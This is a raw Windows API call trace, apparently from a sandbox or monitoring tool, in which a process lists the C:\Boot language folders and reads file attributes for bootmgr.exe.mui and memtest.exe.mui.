	[0240.036] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.036] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0240.037] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.037] GetFileAttributesExW (in: lpFileName="C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760)) returned 1
	[0240.039] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.039] GetFileAttributesExW (in: lpFileName="C:\\Boot\\lv-LV" (normalized: "c:\\boot\\lv-lv"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.040] CreateFileW (lpFileName="C:\\Boot\\lv-LV" (normalized: "c:\\boot\\lv-lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.040] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0240.040] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.040] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.040] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.041] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0240.041] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.041] GetFileAttributesExW (in: lpFileName="C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758)) returned 1
	[0240.041] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.041] GetFileAttributesExW (in: lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0)) returned 1
	[0240.042] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.042] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.044] CreateFileW (lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.044] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0240.045] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.045] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.045] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.045] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.045] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0240.045] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.046] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760)) returned 1
	[0240.046] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.046] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0240.046] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.046] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.047] CreateFileW (lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.047] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0240.047] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.047] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.048] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.048] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.048] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0240.048] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.048] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160)) returned 1
	[0240.071] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.071] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0240.071] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.071] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.072] CreateFileW (lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.072] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0240.072] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.072] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.072] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.072] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.073] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0240.073] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.073] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58)) returned 1
	[0240.073] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.073] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1
	[0240.115] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.115] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.115] CreateFileW (lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.116] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0240.116] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.116] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
